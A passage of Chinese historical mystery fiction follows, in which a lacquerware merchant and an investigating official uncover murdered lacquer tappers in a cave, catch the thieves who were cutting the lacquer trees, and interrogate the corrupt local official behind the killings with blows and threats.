没过多久,几人便看见了前方郁郁葱葱的一片树林。方骅挥挥手,示意几名下属上前查看。 “麻烦几位大哥等一等。”冷萤见几人欲离开,忙叫住他们。 “怎么了?”方骅问道。 冷萤垂首打开自己随身的小包,从里面掏出几块黑色的三角棉布递给他们。 众人不懂她是何意,其中一位叫陈全的问道:“冷掌柜这是何意?” “你们初次接触到漆树,掩住口鼻会舒服一些。”冷萤解释。 “这……”陈全看了眼自己主子,见他点头同意,才接过冷萤手中的棉布,“那便谢谢冷掌柜了。” 冷萤知道他们或许不爱戴这个,但现下临近小暑,一些勤快的采漆工,或许已经开始采集大漆了。 如若不掩住口鼻,只怕敏感之人,回去后定会全身瘙痒红肿。 想到这里,冷萤又从小包里掏出两缕白色的面纱。 “对不住啊大人,我只有这个了。”手中的白纱是她平日里做工时戴的,另外一条是备用,她不曾戴过。 但…… 让对方戴上这飘逸的白纱,是不是有些为难他了。 倒是方骅像是无所谓的样子,二话不说接过她递过来的面纱,两下便系好。 方骅眉目如玉,虽性格刚直,但长相却神清骨秀。 那白色的面纱,配上他黑如漆墨的眼瞳,从远处看过去像是哪家的矜贵小姐。 “方大人好相貌!”冷萤毫不吝啬地夸赞。 “你……”刚才还落落大方的方骅,被冷萤夸了一句,突然手脚都不知往哪搁了。 “大人,冷掌柜,你们快来看!” 陈全的声音传来,打断了二人的谈话。冷萤见他们好像查到了什么,提着裙子便走了过去,方骅则紧跟其后。 “大人、冷掌柜你们看,这些树上全都是月牙状的刀痕。”陈全指着其中一棵漆树说道。 冷萤弯腰仔细观察树干上布满的刀痕,神态逐渐凝重。随即,她起身开始检查这片漆树林里的每一棵漆树。 见她表情有异,方骅在她身后问道:“是有什么不对的地方吗?” 第七章 髹饰影(7) “漆树上的刀痕,并不像是专业采漆人的手法!”冷萤越看,面色越沉重。 她拿出手帕铺在漆树树干上,张开大拇指与食指,开始上上下下比划着。 “什么意思?”方骅见她面色不虞,好似也明白了事情的严重性。 “刀痕间隔的距离不对!”冷萤声音越来越冷。 收起手帕,她再也无法保持冷静。 她气得微微吐出一口气,才转头对方骅道:“大人,这里一定有外人来过。现在正是吊水期,大约七日左右,到小暑时采漆人才会正式开始采漆。” “可是您看!” 她指着树干上一道道新割的不规则的刀痕,开口指责:“他们这样不按规矩采集大漆,是会‘杀死’漆树的!” 方骅见冷萤淡漠的双眼都气红了,可自己却完全不明白她到底在气什么。 但有一点他很清楚! 自他们从山脚走到这片漆树林,这么长的一段距离,从未见过冷萤所说的什么守卫。 那么,这里有问题是毋庸置疑的。只是,是谁做的呢? 冷萤直起身,收起微怒的情绪,她想去瞧瞧另一边的漆树是不是也成了这般模样。 刚走没两步突然脚下一软,在天旋地转后,她发现自己的身体正在往下坠。 慌乱中,她看见方骅想拉住自己无果,竟也跟着跳了下来。 在摔到地上时,冷萤心里想的却是,这位大人似乎冲动了些。他怎能跟着自己跳下来了,留在上面找东西拉她上去岂不是更方便? 轻微的疼痛从背上传来,她还在头昏脑胀着,就听见身边“砰”的一声,应是方骅落下来的声音。 “疼……嘶……”冷萤轻哼了声。好在这洞不深,她应该没怎么受伤。 “你没事吧?”方骅落下来时堪堪站住了脚,没有像她一样硬生生摔到地上。 见对方走过来询问自己的状况,冷萤摇了摇头。这时的她也顾不上男女有别,搭着方骅的手臂站起了身。 “大人其实不必跟下来的。”冷萤拍了拍身上的灰尘说道。 本来没想提起的,但实在没忍住。 “我没有。”方骅见她彻底站稳后,才放下手臂硬邦邦回道。 见冷萤一脸疑惑地看向他,方骅干咳一声道:“刚才想拉你时,脚滑了一下没站住。” 哦…… 是她自作多情了…… “大人有没有觉得这山洞里的气味有些怪?而且……”冷萤的双脚试着踩实地面,眼神顿时变得有些微妙。 方骅询问地看向她,等下文。 冷萤并未继续开口,而是无声地用手指了指两人脚下。 难怪她总觉得,刚才掉下来时并没有想象中那样疼。这时站起身后,才察觉到脚下有些不太对劲。 方骅顺势蹲下身,扒开地面上铺得满满的稻草。 冷萤也好奇地凑过去,刚想看清下面是什么。 突然! 一只惨白的人手,从方骅扒开的稻草下弹了出来,直接伸到了她的眼前。 “小心!” 冷萤还未反应过来,眼前倏然出现一只腐烂掉皮的人手,吓得她差点一头栽了上去。 幸好方骅反应快,一把扶住了她,才避免了她亲吻上那只恐怖惨白的手。 “谢谢大人。”她有些后怕地站稳,感激地看了方骅一眼,才又将视线转向那只人手,“这下面……要掀开看看吗?” 其实,她已经猜到了稻草下是什么了。 “你走远些……”方骅可能是怕吓到她,侧身挡住示意她站远一些。 看来,方骅也猜到了。 “没事的,你掀开吧。”刚才她只是没有做好心理准备,所以才会被吓到。 可是…… 当看着一具具尸体被方骅从厚重的稻草下找出,她的心跳还是停了一瞬。 他们此时仿佛身处某座山上的荒坟,除了两人的脚下,四周全是尸体。 此洞虽不大,但冷萤粗略一看,起码有十余条人命葬送在了这里。 这一具具身体扭曲,表情痛苦的尸体,不知在死前到底受了多少折磨。 “怎么会这样……”冷萤看着这仿若人间惨剧的山洞,难以置信到语不成句。 方骅也是紧皱着眉头,表情格外难看。 突然! 冷萤看见远处一只竹编的篮子旁,散落着刮刀、蚌壳,还有枯黄的树叶。 她双眼蓦然大睁,不顾方骅的阻拦,急切地跑上前想要查看那具尸体。 “你干什么?很吓人的。”方骅拦住她的动作,不明白她为何突然情绪如此激动。 冷萤趁他不备,用手轻轻拂开那具尸体的发丝。 一滴泪水,瞬间从她的眼角滑落…… 这具尸身面部虽然已经开始腐烂,但她还是认出了是隔壁的刘婶。 那个心疼她父母早逝,小时候总过来给她送糖人的刘婶。 “刘婶……”冷萤哽咽着不敢碰,生怕自己一下就将她给碰碎了。 方骅这才明白,她为何会情绪突变,不再拦着她,而是陪她蹲在一旁。 他看着自初见面,处事就异常冷静,好似没有什么能吓到她的女子。 此时的眼泪,却像断了线的珠子般一颗颗从脸颊滑落,他顿时不知该说些什么,才能安慰到她。 “你认识这位妇人?” 冷萤这时才突然想起身旁还有人,连忙抹干脸上的泪水,低着的头点了点。 “她是谁?”或者说,这里躺着的尸体都是谁? 冷萤平缓了一下心情,虽然眼睛依旧红红的,但还是清清嗓子道:“她是刘婶,陵县的……” 哭红的双眼看向方骅,轻声道:“……采漆人!” “采漆人?”方骅的表情,有一瞬间的惊讶。 冷萤缓缓点头看向四周,随后捡起角落被稻草挡住一半的蚌壳,看着上面残留的漆液,对方骅说道:“这里躺着的,全都是陵县的采漆人。” 到底,是谁这样残忍? 采漆的劳作本就又苦又累,每年又都是最热的那段时日出来做工。 陵县的百姓们,如果不是谁家中穷到揭不开锅,根本不会有人愿意选择当采漆人。 刘婶丈夫早逝,家中唯一的儿子,前几日半夜打更时死在半路上,到现在都还没找到死去的原因。 怎的没过几日,她自己竟也遇了害…… 一想到平日总是乐乐呵呵的刘婶,就这样莫名死在了这里,冷萤心里就开始一阵阵发寒。 第八章 髹饰影(8) 究竟是谁如此狠心? 看着好几张熟悉的面孔,想着这里躺着的全是陵县生活最艰苦的百姓们,冷萤便无法冷静下来。 她猛地转过身,将正在查探的方骅吓得一惊。 “大人,民女在此请求您。请您……一定要抓住那杀人凶手!”说完,她郑重地对着方骅行了一礼。 方骅双手将她扶起,沉重道:“冷掌柜放心。即便你不说,我也一定会让作恶之人得到他应有的惩罚。” “谢谢大人!” 冷萤蹲下,轻手轻脚地将刘婶的胳膊放平。再从自己包里拿出一盒极小的扇形摆件,放到尸体旁边。 “这是什么?”方骅只觉这东西精致小巧,但属实猜不出是干什么用的。 “这是民女做的螺钿扇香漆盒,里面放着可驱蚊虫的香粉,再加上大漆本身的防腐驱虫功效。刘婶爱漂亮,带着这盒香粉上路,在黄泉之下亦可免去毒虫骚扰。” 冷萤将上面的小盖打开一点缝,让香气弥漫在那几具尸体四周。 “有心了。”方骅点了点头,盯着她看了好一会儿才问道:“冷掌柜,你心里可有盘算了?” “自然。”冷萤原本悲伤的表情,在听见方骅的问询后,瞬间变得冷漠。 她站起身看向方骅,眼神坚定,“大人心里,应当比民女更清楚,接下来该怎么做了。” 方骅知她一点就通,便没再继续多说什么。只是抬头看向洞顶那一抹光亮,低声道:“天色暗下来之前我们必须出去。” “民女有个办法,不知能否用得上。”冷萤眼眸一转,想到了一个好办法。 方骅看向她道:“但说无妨。” 她示意对方看向角落处,那里散落着几只竹篮,篮子里放着割漆刀和刮刀,还有沾满大漆的布条。 二人默契地对视一眼,方骅立刻明白了她的意思。 冷萤被方骅拉出洞口的一瞬间,便听见林子里传来了脚步声。 “冷掌柜,失礼了!”耳边传来方骅低低的声音。 随后,她感觉自己腾空了一瞬,下一刻,便被人好好地放到了一片茂密的树丛后边。 还未等她反应过来,就听见前方传来几个男人说话的声音。 这声音,不像是方骅的下属。 “怎么办,我……”冷萤正想问挡在她前面的方骅怎么办,就见眼前的背影一闪,瞬间这里就只剩下了她一个人,“……们要不要先……” 好吧…… 她就老实待在这里吧! 方骅他应该……没问题的。 虽然是这样打算,但冷萤还是捏紧了手中的刮刀,以防万一。 可不一会儿,前方就响起一阵哀嚎,她暗叹不好,赶忙站起身冲出去帮忙。 结果冲到一半,却亲眼看见被捆成一团的几个陌生男人,像巨大的人肉粽子一般被裹在了一起,于是她慢慢停住了脚步。 好功夫! 她知方骅习武,但也不过眨眼,他就用两人方才爬出山洞的布条,一下子制住了好几个人,冷萤还是不禁在心里感叹了一句。 “喔哟好疼,你是谁啊你?怎么一上来二话不说就捆人呢?” 那一团里有一个人最惨,他俯趴着被压在最下面。从远处看上去,像一只大王八托着重重的龟壳。 “你们又是谁?”方骅轻轻踢了一脚,整团人便集体翻了个身,方才那个被压在最下面的人,瞬间变成了四脚朝天。 “我们……”四脚朝天的那个人大声道:“我们是采漆工啊。” “放屁!” “哎,这位公子你怎么骂人呢?”上面那个人似乎是急了,手脚开始胡乱摆动,妄想从上面翻下来。 方骅又轻轻一脚,只踢得那几人连连喊叫。 随后,他冷声道:“再给你们一次机会,重新回答!” “有……有人安排我们过来割漆。”这一次,对方虽未正面回答,但也算是隐晦地说明情况了。 “割漆?”冷萤趁着他们被绑得结结实实,走到几人面前,用手中的刮刀挑起其中一个人的手指细看。 “外行人吧?第二次采漆?还是第三次?”她连连发问,直问得那人脑袋直摆。 “这位姑娘,你又是谁?”还是最上面的那个人带头问道。 “你管她是谁?回答她的话!”方骅见他居然还敢反问,作势又要一脚上来。 “好好……”那人也是怕了,连忙回道:”第……第三次。” 她就知道! 得到自己想要的答案,冷萤走回方骅身边,“不过是一些小喽啰,还需大人问出他们身后之人。” “我知。”方骅点点头。 只见他微微一笑后,表情彻底冷了下来。冷萤便晓得,那团人怕是要倒大霉了。 与方骅见面许久,她都未曾见过对方这样的笑容。 这次一见,只觉属实有些毛骨悚然了…… 果然,她还未从对方阴恻恻的笑容里回过神,就见他不知使了什么巧劲,直接将捆绑那几人的布条一头一尾,系在了两边的树干上。 导致那颗人肉粽子瞬间腾空,挂在两棵漆树中间,晃啊晃啊的…… 惊叫声此起彼伏,让冷萤听得心烦。 方骅在系好布条后,走回来时还顺手推了推,又惊起一声声叫喊。 “闭嘴,再吵就将你们一个个绑在漆树上。”冷萤只觉自己的耳朵都要被这几个人吵聋了,开口威胁道。 也许是见识过漆树的威力,她话音刚落,半空中的那团人便立刻收了声。 见方骅疑惑地看向她,冷萤解释道:“漆树本无毒,但内里有一种东西,会让刚接触它的人身上起小红疙瘩,疼痒难忍。经常接触之人则不会,这也是民女方才为何让你们戴面纱的原因。” 她示意方骅看向那些人的手指,继续道:“民女刚才观察发现,这些人手上已经开始起红疙瘩了,应当是最近才吃过苦头。” 方骅听明白了,点点头道:“原来如此……” 突然,他想起一件事,忙问道:“那个人身上会不会也有?” “不会。”冷萤告知:“大漆在经过处理后,对人的身体是没有任何影响的。所以,我们怀疑的方向并没有错。” “既然没错……”方骅的声音骤然变冷,慢慢转身看向那团“粽子”,一字一句道:“那本官就要开始了。” 第九章 髹饰影(9) “留条命好问话……”冷萤是故意说给对方听的。 “当然。”方骅似笑非笑地回了句。 半空中悬着的几人,一听这二人说话的气势,全都不安地挣扎了起来。 他们还记得冷萤方才的威胁,所以不敢发出太大的声音。 但由于几人在半空中没有着力点,被压在最下面的那个人的脸,已经变成了青紫色。 “公子,还……还有这位姑娘,求求你们放我下来吧。要再不下来,我可能要被压死在这里了。”最下面的那人再也承受不住同伴的重量,扯着嗓门求饶。 “想要下来,可以啊……”方骅懒洋洋说道。 那人听后,表情瞬间如释重负。 可下一瞬,他就听见方骅说:“告诉我们,你们预备什么时辰,将采好的大漆送去孙掌柜的漆器店,我就放你们下来。” 快要无力挣扎的人瞬间停住了动作。这个人说什么?他……他是怎么知道的? 即便此时他的身上压了好几个人,却还是忍不住想要抬头看向那位公子。 却没想在看过去的瞬间,便和那双冰冷的眸子碰个正着,“你说的是什么意思?我,我听不懂。”他只能收回目光,装傻道。 “喔,是吗?” 方骅见这人骨头还挺硬的,自己都快要被压死了,还在想着帮幕后之人隐瞒。 “是是……是啊公子,您就放我们下来吧。”那人以为他真信了,开始得寸进尺地请求。 “冷掌柜喜欢什么颜色,不如我让下属去采点红果子来,劳烦你现场动手调漆,将他们染成红色怎么样?”说完,他想了想又开口道:“红色太喜庆了,和他们的模样不太配,那……绿色怎么样?” “我觉着,甚好。”冷萤内心暗笑,配合道:“当然,红配绿也是不错。” “不要啊,姑娘。那个人只是叫我们过来采漆,一人一次给一颗银珠子,其余的我们什么都不知道啊!”最下面的那个人已经坚持不住了,再加上被方骅和冷萤一吓,居然开始慢慢招供。 “那个人是谁?”方骅直截了当问道。 一片静默,连挣扎时哼唧的声音都没了。 “我再问一遍。”方骅低沉的声音发出威胁,“那个人是谁?” 依旧一片静默…… 冷萤感觉,身旁的人怒气已经大到她无法忽视了。 她转头看了一眼方骅,默默地往旁边移了两步。 刚停下脚步,冷萤就看见那团大粽子开始在空中上下翻飞,伴随着忽高忽低的惨叫声。 “喀啦……”是其中一根布条裂开的声音。 “你们要是再不说,这布条可就要彻底断了。”冷萤在一旁提醒他们。 “哇啊……说,我们说哇啊……”恐惧的叫喊时近时远。 冷萤正准备告知方骅他们已答应,就见这人站在原地右手微微一动,一把折扇便飞了过去,将仅剩的另一根布条彻底割断。 “晚了。”冷硬的嗓音,告知对方。 “砰!” 只见那团人肉粽子在半空中扎实地旋了一圈,然后就重重摔落在地。 看来,方骅这次是彻底被惹毛了。 冷萤再次瞧了他一眼,第一次察觉到这位刑科大人,脾气或许没有她想象中的那般好。 那几人躺在地上半天起不来。 方才被压在最下面的那个人,在稍稍缓了一会儿后,直接扯着嗓子带着哭腔道:“就是漆器店的老板啦,那个狗日的孙掌柜。” “什么,是孙掌柜?”冷萤惊讶出声。 居然不是他们想的那个人? “是啊,那狗日的说店里的大漆不够用,让我们帮他偷一点。结果,一次又一次,这都第三次了!要不是这个原因,我们也不会被你们抓住。”那人说话间,让人感觉很是不服气。 “你可以选择不来的。”冷萤淡淡道。 “那不是……”那人说话声音越来越小,“他银珠子越给越大嘛。” “少说废话!”方骅见他越扯越远,冷声道:“除了孙掌柜,还有谁?” “没了。”那人答道。 “没了?”方骅不信。 “青天大老爷啊,真没了。我早知道割个漆会挨打,手还会变成这个鬼样子。当初打死我,我都不会过来的。”对方见方骅不信,居然开始抹起了眼泪。 “是啊是啊,这鬼东西沾身上又疼又痒的。”其中一个也大着胆子附和。 另外几个虽没敢说话,但也都是连连点头。 “或许他们是真不知道。”冷萤替他们说话。 “嗯……”方骅只回了一个字,看来气还未消全。 “那……那大老爷,我们可以走了吗?”哭得怪狼狈的那个人,又壮着胆子问了句。 “陈全。”方骅余光看见自己属下赶过来,安排道:“带回去好好审问,无其他隐瞒再放走。” “是,大人!”陈全几人一赶来,便看见了这几个东倒西歪的人。虽疑惑但也不敢多问,听命上前直接将人拖走。 “其实想想也不疑惑。”冷萤分析道:“以那人的身份,任何事情都不太会亲自出面,当然一切交由孙掌柜即可。” 方骅这时才收敛起情绪,平静道:“我想的倒不是这。这俩一丘之貉,谁出面对我来说并不重要。我想不通的……其实是另外一件事。” “什么事?”这次倒是换冷萤不解了。 “他与孙掌柜之间的牵扯比我想象得要更深一些。既然如此,又为何要直接将孙掌柜杀害?”方骅问出了自己内心的疑问。 “杀人灭口?”冷萤猜道。毕竟……人心不可测。 方骅想了好一会儿,才慢慢摇了摇头,“应当不是杀人灭口。他们要做的事情,少了哪一个人都会显得束手束脚。他没必要选择在最关键的时候,将孙掌柜杀害。” 经方骅的提醒,冷萤总算回过了味。 对啊,他的目的都还没达到,又为何要突然选择将自己的同伙杀死呢? 这临门一脚,最紧要的关头。再愚蠢的人,都不会选择在此刻做出这等糊涂事。 “既然这样,如果不是他们二人的利益有了冲突。那么……”冷萤冷静思索片刻后,说道。 “什么?”方骅其实也想到这一点,但一切似乎还是不对。 “这个案子,或许比我们想象得要更加复杂一些。”冷萤抬头看向他,很是无奈道。 第十章 髹饰影(10) 夜凉如水 冷萤坐在凉亭里,面前桌上摆着的,是方骅差人送来的茶水与吃食。 她明确表示过自己吃不下,凶手至今还未抓到,她哪有胃口吃这些。 但方骅中只丢下一句:“好戏,当配好茶点。”便留下几名暗卫在此守着,他本人却不知所踪。 其实冷萤也不是什么都不明白,比如她知道,自己身处的凉亭拥有绝佳的观赏方位。 她甚至可以不用起身,就能够将亭外四周发生的一切看得一清二楚。而这凉亭最绝的就是,外面的人不管怎样,都无法看清亭内的情况。 而此时,在她的正前方,便是孙掌柜的漆器店。 于是她懂了,方骅所说的“好戏”到底是什么。 只是现下已过了许久,她都快要坐不住了,这四周却连一个人影都未瞧见。 漆器店刚死了个掌柜,街坊邻居要不是到了晚上便不出门,就是直接干脆搬到别地居住。 总之,冷萤现在感觉,这方圆几里能喘上气的,似乎只有自己与那几名藏在树后的暗卫了。 她懒懒打了个哈欠,端起已经变凉的茶水,刚想将就饮一口时。 突然看见远处有几个暗影扫过,速度之快,让她一下子都没看清是什么。 虽说没看清,但她知道在等了那么久后,该来的总归还是来了。 悄悄地站起身,冷萤刚朝前走了两步。树后立即传来了一句:“还望冷掌柜不要随意走动。” “知道了。”她当然不会到处走动,只是夜晚的视线不清,移动两步更好看戏罢了。 调整好视线后,冷萤又看见了几道暗影,快如闪电般地挤入漆器店里。 这些人一看就是习武之人,在瞧见对方的身手后,她开始有些担心方骅一个人搞不搞得定了。 那几道暗影进店没多久,不远处,一辆手推车便被几个人无声地放到店门口。 冷萤微眯着眼,看着漆器店的门悄悄被人从里面打开。随后走出两个蒙面人,抬着一个巨大的罐子放在地上,然后转身又走了进去。 推车旁的蒙面人见状,则连忙将罐子放上手推车固定。 这两拨人,看起来还挺有默契。就像是训练好一样,屋内的人负责搬运,屋外的人负责放妥物品。 就这样来来回回好几次,在手推车彻底放不下东西时,一旁盯梢的人将目光移向不远处黑暗的空间里。 冷萤原以为那里没人,可没承想那人收回目光没多久,一道高大的人影便出现在他们身后。 而这人,冷萤认识。 正是陵县的典史王大龙! “果然是他。”她低声暗道,终于彻底失望。 起初心生怀疑时,她不愿相信那个年年月月如一日般保护陵县的典史,会做出此等残忍之事。 可现在事实已摆在自己面前,也由不得她不相信了。 果然,人心是这个世间最不能估量的东西。 只是……这幕后之人都出来了,那位方大人他到底去哪里了? 冷萤开始频频看向自己身后,却发现躲在树后的暗卫硬是动都没动一下。 见着这情况,冷萤一下子便安了心。 可随着时间推移,眼见着这伙人交涉完准备离开,周围还是一点动静都没有,冷萤不由得又朝前走了两步。 而这两步,让她看清楚了一个人。 在那伙人当中,有个后背佝偻着的人,他身体仿佛像是受过什么伤,怎么也直不起似的站着。 冷萤见状,却忍不住暗暗叹了口气。 “还是太夸张了点。”她对着虚空评价了一句,然后悠然坐回石凳上。 这时的她,才终于觉察到自己确实有点饿了,拿起桌上的糕点咬了一口。 在吃到第二块糕点时,她听见一句清亮之声传到了耳朵里。 “可以了。” 只是简洁的三个字,她便知道方骅成功了。正欲站起身时,树后终于有了动静。 一个个暗卫有条不紊地从她旁边飞速而过,奔向发声处,甚至瞟都没瞟她一眼。 好像不是专门来保护她一样。 冷萤也不着急,她现在就算赶过去也帮不上什么忙。方骅说得没错,她今夜真的只是过来看了个戏而已。 在没发现那个佝偻着背的人就是方骅时,她怎么也不会想到,事情会进展得如此顺利。 看来这位大人,也不光只有铜铁般的正直。 不远处有一群人躺在地上,旁边放着一辆拉满货物的手推车。而方骅正和暗卫们站在一处,同时望向她。 “冷掌柜,你好像一点也不惊讶。”方骅扯下脸上的布,微微一笑道。 冷萤看了眼地上已然昏迷的王典史,淡淡开口:“方大人下次可以装扮得更自然一些,民女便认不出了。” 方骅不置可否,转身说了句:“女子太过聪慧,不知是好是坏。” “方大人行事飒爽,为何表扬一个人时却如此委婉?”冷萤微微一笑,不再纠缠这个话题,转而问道:“大人预备怎么处置这些人。” 方骅原本放松的表情,瞬间冷凝下来,“当然是带回去审问清楚!” “那……”冷萤正在斟酌用词,想请求他允许自己一同回去。 她真的很想亲自问一问,王大龙在做下这些孽时,心里到底在想什么? “冷小姐暂且回家休息吧,问话的过程可能会引起不适,具体的情况,方某事后会派人如实告知。”方骅知她想说什么,却还是直接将话挡了回去。 虽知方骅说得也没错,但冷萤总有一种,自己被利用完即丢的感觉。 “那民女告辞。”冷萤微微福身,转身就走。 方骅示意其中一位暗卫跟在她身后保护,在看着冷萤的身影彻底消失在夜色中,才冷下神情指挥其他人将躺在地上的人拖回去。 半个时辰后 “咔啦……咔啦……” 锁链的声音响起,方骅便知人已清醒。 既然醒得这样快,正好省了他再叫人过来泼一趟水。 此处是他命人专门开的一间暗房,这桩案子牵扯众多,王大龙背后或许还有人,他暂时还不能打草惊蛇。 刚醒来的王大龙一时还分不清自己身处何地,只见他尝试着从地上爬起,但昏沉的脑袋,和笨重的锁链完全阻碍了他的行动。 “这是哪里……” “你即将要赎罪的地方!” 他的身后,传来了一句来自地狱审判的幽暗之音。 第十一章 髹饰影(11) 还未完全反应过来的王大龙,冷不丁被站在暗处的身影吓了一跳。 他看着手腕上沉重的锁链,似乎一下子明白了什么,脸色瞬间变得煞白,“你……你是谁?” “不如王典史亲自站起身,仔细瞧瞧我是谁?” 噙着凉意的声音乍起,让王大龙结结实实打了个冷颤。 “妈的。老子要是能看清,还用问你啊?”他的嗓音因为恐惧,尽管是在骂人,也带着微微的颤抖。 王大龙实在受不了这黢黑又恐怖的氛围,双手开始不停扯动锁链,拼命往前挣扎。 “打!” “是!”另一边不知是谁立刻答了一句。 随后,暗室里响起了震天的耳光声,并伴随着王大龙的惊恐的叫声。 “你……你到底是谁啊你?敢打典史,是活腻了吗?”王大龙捂着被抽红的脸,看着暗处又疼又怕地问道。 “问我是谁?不如王典史还是先讲讲,最近干了些什么缺德事吧?”方骅让属下将椅凳搬至离王大龙近一些的地方,悠然坐下。 这个举动,终于让王大龙看清了暗处的人是谁。他有些心虚地眯了眯眼,放下一直捂着脸的手,恶狠狠哼道:“原来是你?” “不然呢?还会有谁?”方骅冷笑一声,随后问:“难道是后山山洞里,那些被你害死的采漆人吗?” 说这句话时,方骅晦涩的目光直直盯向王大龙慌乱的神情,直到他再也受不了,心虚移开了目光。 “大……大人您在说什么,下官怎么听不懂。”王大龙的声音明显弱了下来,方才的嚣张情绪瞬间消失无踪。 “听不懂不要紧,那本官换个问题。”方骅极慢地点了点头,像是格外善解人意道。 “呵呵……”王大龙略微急促地假笑了声,心有余悸地回道:“那就多谢方大人了。” 他当然不会以为是自己骗到方骅了,而是武断地以为对方是同道中人,放过自己是想要与他一起合作罢了。 没成想,刚松了一口气,就听见对方问:“是因为苏知县发现了你贪污的证据,所以导致你杀害了他们父女俩吗?” 一句话,冻结了王大龙渐渐扬起的得逞笑容。 他瞳孔开始剧烈颤动,仿佛被人发现了心底最深处的秘密一般,嘶哑着嗓音喊道:“大人啊,说话是要讲证据的。您不能什么证据都没有,就开始冤枉我啊!” “讲证据?”方骅嗤笑一声,好似听见了一句笑话。 他抬起手挥了挥,身边的人立刻明白了他的意思,走上前去又“啪啪”甩了王大龙两耳光。 “王典史。趁着本官心情好,不想现在对你用刑,最好还是老实交代了吧!”方骅好心提醒他。 “你……你这是动用私刑,我大小也算是朝廷命官。虽然官职比你低,但你就不怕我往上禀报吗?”王大龙见求饶不行,居然大着胆子开始威胁。 “往上禀报?”方骅慢慢站起身,走到张牙舞爪的王大龙面前,讽刺道:“在我这里不吐出点什么东西,你觉得我会放你离开吗?” “你……”王大龙怒目以对。 “更何况,你犯的事一经查实,就不是本官放不放你离开的问题了。你说是吗,王典史?”方骅居高临下,看着脸色涨红的人,一字一句轻声说道。 “你放屁,老子什么都没有做过!” “骂人太难听,继续!”方骅微微皱眉,对下属说道。 他还特意站远了一点,方便他们动手。对于这种人渣,他向来不屑于亲自动手。 暗室里,王大龙的惨叫一声高过一声。见他还是硬咬着不肯招,方骅气笑了。 他点了点头,问道:“王典史,你还记得你害了陵县多少人吗?” “你,你想干什么?”王大龙完全没想到,这人刚到陵县,居然已经查到了这么多。 “一旦让他们的家人,知道所有的事情是你犯下的,本官再‘不小心’将这些人送进这间暗室来,你觉得……你会变成什么样?”方骅颇有耐心地威胁道。 “你一个刑科官员,手段怎的如此狠毒?”王大龙颤抖着声指探他。 他话音刚落,整个人猛地带着锁链飞了出去,然后又被重重拉摔回地上。 “拿自己的缺点形容别人,着实该打!”方骅这次选择自己动脚。 “噗……”王大龙摔到地上的同时,硬生生呕出一摊血,他哑着嗓子问道:“你下手这样重,就不怕……” 他后面的话还未讲完,便直接被方骅打断:“本官奉旨查案,怕什么?王典史不如先担心担心自己。在我这里,只要是犯了事的人,不掉层皮怕是很难走出去了。” 见对方喘息着不肯说话,方骅继续道:“留下一张皮,还是坦白从宽,你自己掂量掂量。” 蜷缩在地上不停喘气的王大龙,慢慢缓过了神。他身体未动,只是将脑袋转向方骅所站之处。 见那人身姿挺拔、表情淡然。仿若刚才那险些踢断自己肋骨的一脚,并不是他所为。 他突然诡异一笑道:“既然大人如此说,下官便成全你吧!”说完,他猛地爬起身,就要向身后的那堵墙撞过去。 “大人,他想撞墙自杀。” 身旁的陈全想上前拦住王大龙,被方骅叫住:“激动什么,让他去。” 语毕,就见王大龙还未触到墙柱,便被沉重的锁链再次拉回到地面上。方骅身后的一名侍卫实在忍不住笑出了声。 “拉出去学学规矩。”方骅看也没看对陈全说了句。 “是。”陈全转身,扯着方才偷笑,此时一脸害怕的侍卫走出了暗室。 慢步走上前,方骅蹲在王大龙身前,似笑非笑地假意关心道:“王典史这是怎么了?身体如此娇弱,那一罐罐大漆可怎么扛得动?” 杀人诛心! 这次王大龙不仅没来得及将大漆运走,还被方骅下药迷晕,醒来就躺在了暗室。此时提起,不就是故意膈应他么? 王大龙在犯事前,好歹也是凭自身的武艺,为陵县解决过不少闹事之人。 如今听了这讽刺性意味极浓的一句话,气得颤巍巍地用双手撑起身体,嘴唇动了动,一口老痰便从他嘴里飞向了方骅。 他本以为自己会得逞,谁能想到方骅身边刚回来的陈全反应如此之快,拿着一块布巾便快速挡在了二人之间。 “嘿嘿,我们大人问审时没少被人吐口水,你这算个啥?”顺利替方骅挡住王大龙口水的陈全,颇有些心得说道。 第十二章 髹饰影(12) 冒着寒意的目光看向出声之人,后者立马老老实实拿走布巾,小心翼翼道:“知道了,属下也出去学规矩。” 方骅收回目光,眼底的寒意叠加了几分,开口吩咐:“别费事了,学也学不好的,去把那东西拿来。” 正灰溜溜地准备躲出去的人听闻,停下了脚步。 他以为自己听错了,贼兮兮地移到方骅身边,开口问道:“大人,属下方才没听清。您是说,要把那东西拿过来?” “是的,还不快去!”方骅耐心要被这几个人耗尽了。 陈全看了眼无力坐在地上,不停想用目光盯死方骅的王大龙,颇为同情道:“是!” 方骅又重新坐回了椅子上,目光直勾勾地盯着王大龙,仿佛在看一只负伤无法逃走的猎物。 不一会儿,陈全端了个漆木盘子过来,上面盖着一块黑布。 方骅嫌弃地看了眼那块黑布,直接掀开丢掉,“下次别再搞些有的没的。” “不是……”陈全为难道:“大人你这里面的东西,不盖点什么属下也不好意思端进来啊。这东西,把您气宇轩昂的气质都给破坏掉了啦!” 方才冷掌柜送这东西过来时,他还信誓旦旦地说大人绝对不会用上呢! 只见,漆盘上放着一樽五颜六色的琉璃盏,这娇艳欲滴的色泽,还有花团锦簇的图案,看得陈全的嘴角直抽抽。 但方骅好似并未觉得不妥,他随手揭开琉璃盖,拿出一颗外形看起来极有趣味像果子一样的东西,举到王大龙的面前问道:“知道这是什么吗?” 王大龙见眼前这毫无杀伤力的东西,表情虽有些诧异,但还是不屑地移开目光,“要杀要剐,悉听尊便。”他反正已经破罐子破摔了。 方骅也不急着要答案,慢悠悠地开口:“它叫‘五倍子’,是漆树身上寄生的一种小虫。有个人告诉我,这像果子一样的东西里有满满一肚子的虫,王典史难道不想看看吗?” 听了他的话,王大龙倏然看向方骅手中的东西,目光渐渐染上恐惧,嘴角也因为惧意而有些微微颤动。 “你说,本官如果将它捏爆丢你身上,会怎么样?这些虫子虽肉眼不可见,但无孔不入,到时你身上每个地方可能都会有它的存在。哦,对了!王典史想知道,被这种虫子咬后会有什么后果吗?” 王大龙还未听他讲完,便已经开始全身颤抖到几乎说不出话来。 “大人,你直接杀了我吧?”他只好哀求道。 见他还是不肯坦白,方骅慢慢直起身子,大声道:“陈全,数一数这琉璃盏里放了几颗!” “是!”陈全将漆盘放至一边,特意将琉璃盏端到王大龙面前,开始慢慢数了起来:“一颗……二颗……” “大人,一共十颗。我听冷……听那位高人说,一颗“果子”里起码有好几百条蚜虫呢。”他看了王大龙一眼,故意大声地添油加醋道。 “这样啊……”方骅冷然一笑,看向已经瘫软在地的王大龙,“那我先捏爆几颗好呢?” “你到底……要如何啊!”王大龙的心理防线彻底被击垮,抬手将自己的头发撕扯得到处都是。 